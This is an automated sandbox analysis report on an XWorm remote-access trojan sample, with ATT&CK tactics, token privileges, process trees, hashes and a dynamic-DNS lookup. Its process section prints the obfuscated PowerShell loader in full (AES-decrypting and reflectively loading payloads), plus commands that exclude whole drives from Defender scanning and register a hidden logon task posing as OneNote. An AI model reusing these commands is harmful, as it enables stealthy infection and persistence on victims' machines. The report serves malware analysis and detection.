Malware Analysis Report

2024-09-11 13:47

Sample ID 240614-k9velstgqg
Target F30585602117611871915843120891316949139984.cmd
SHA256 2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7

Threat Level: Known bad

The file F30585602117611871915843120891316949139984.cmd was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Xworm

Detect Xworm Payload

Command and Scripting Interpreter: PowerShell

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 09:18

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 09:18

Reported

2024-06-14 09:21

Platform

win10v2004-20240508-es

Max time kernel

62s

Max time network

61s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3352 wrote to memory of 332 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3352 wrote to memory of 332 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 332 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 332 wrote to memory of 384 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 332 wrote to memory of 1824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 332 wrote to memory of 1824 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1360 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 3656 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 3656 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 4672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 4672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1992 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 1992 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1824 wrote to memory of 4000 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 1824 wrote to memory of 4000 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 4000 wrote to memory of 3984 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 4000 wrote to memory of 3984 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 3984 wrote to memory of 1952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3984 wrote to memory of 1952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3984 wrote to memory of 2528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3984 wrote to memory of 2528 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4248 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4248 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4384 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 4384 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 2664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2528 wrote to memory of 2664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\SC3.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\SC3')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

Network

Country Destination Domain Proto
US 8.8.8.8:53 ivmsgauzt84tgksuw6an6cht0am8iiux0jz.duckdns.org udp

Files

memory/1824-0-0x00007FFBDE863000-0x00007FFBDE865000-memory.dmp

memory/1824-1-0x0000025AEF780000-0x0000025AEF802000-memory.dmp

memory/1824-2-0x0000025AEF6F0000-0x0000025AEF712000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ybc4ybl.bso.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1824-12-0x0000025AEF730000-0x0000025AEF740000-memory.dmp

memory/1824-14-0x0000025AEF9F0000-0x0000025AEFAF2000-memory.dmp

memory/1824-13-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1824-15-0x0000025AEFD00000-0x0000025AEFD44000-memory.dmp

memory/1824-16-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1824-17-0x0000025AEFDD0000-0x0000025AEFE46000-memory.dmp

memory/1360-27-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1360-28-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1360-29-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1360-32-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

memory/1824-33-0x0000025AEF760000-0x0000025AEF772000-memory.dmp

memory/1824-34-0x00007FFBFCB50000-0x00007FFBFCD45000-memory.dmp

memory/1824-35-0x00007FFBFC9A0000-0x00007FFBFCA5E000-memory.dmp

memory/1824-36-0x0000025AEF980000-0x0000025AEF9A0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 3f01549ee3e4c18244797530b588dad9
SHA1 3e87863fc06995fe4b741357c68931221d6cc0b9
SHA256 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a
SHA512 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6d42b6da621e8df5674e26b799c8e2aa
SHA1 ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA512 53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

memory/4672-58-0x000001DED1EF0000-0x000001DED1F3A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f88bff92225c5247ad1b1c2574e9a202
SHA1 88a3ccba98acffd2254d3e04b1a8cc4c315bd71c
SHA256 e9d4c39cdf1d50e7844ea724b588f7ff8499fd9167d4a0ea6fcb4196023903eb
SHA512 b0d9e3fe2e7b9edc3b4528df96776f9afc1e3e9840d17347867abfbf032d44a6095743aa0c00be734ad7ae9e6db2bf9265b20e89796fdd615039b79f7b2104c6

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 e4de99c1795fd54aa87da05fa39c199c
SHA1 dfaaac2de1490fae01104f0a6853a9d8fe39a9d7
SHA256 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457
SHA512 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926

C:\Users\Admin\AppData\Roaming\SC3.cmd

MD5 aebbb92d1f67cddf37f996695175153e
SHA1 8706b8f0d37fb05aa70f32d78c3d8469b64c7c27
SHA256 2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7
SHA512 60e261b245fb23c75cd7fc0e507daa3e6f39f7f86261622ca90fd21dafda481abd0d80d7befe01ebe31a3f25485df298445662dfb8041fa0e607c85c31425ce6

memory/2528-95-0x00007FFBFCB50000-0x00007FFBFCD45000-memory.dmp

memory/2528-96-0x00007FFBFC9A0000-0x00007FFBFCA5E000-memory.dmp

memory/1824-97-0x00007FFBDE860000-0x00007FFBDF321000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 11b2ddac5f77354fdf267769650c46f4
SHA1 4b4fb743eefb36191871d8bd3dc374caed41a9db
SHA256 b61a60bf71fdae451a7be222d041d153262224d241c0803e0f7bb289013ac134
SHA512 72372c52617151d65d97363770b128c8a0180e4713ec98f992c2f802c4781fcd6ab4dc6153b256254870aae63e30d453fb61489c1f2f9f912d5efd1bb97bc2ae

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5f79db6d74b4c43d0fb4086a563117d1
SHA1 4b875e6ec72f2cf998bdc553ad2a2abcd40228ed
SHA256 a10229194cd03939441bfdb4c517d2f7ae56479b89e2f08e3a350ec987094d58
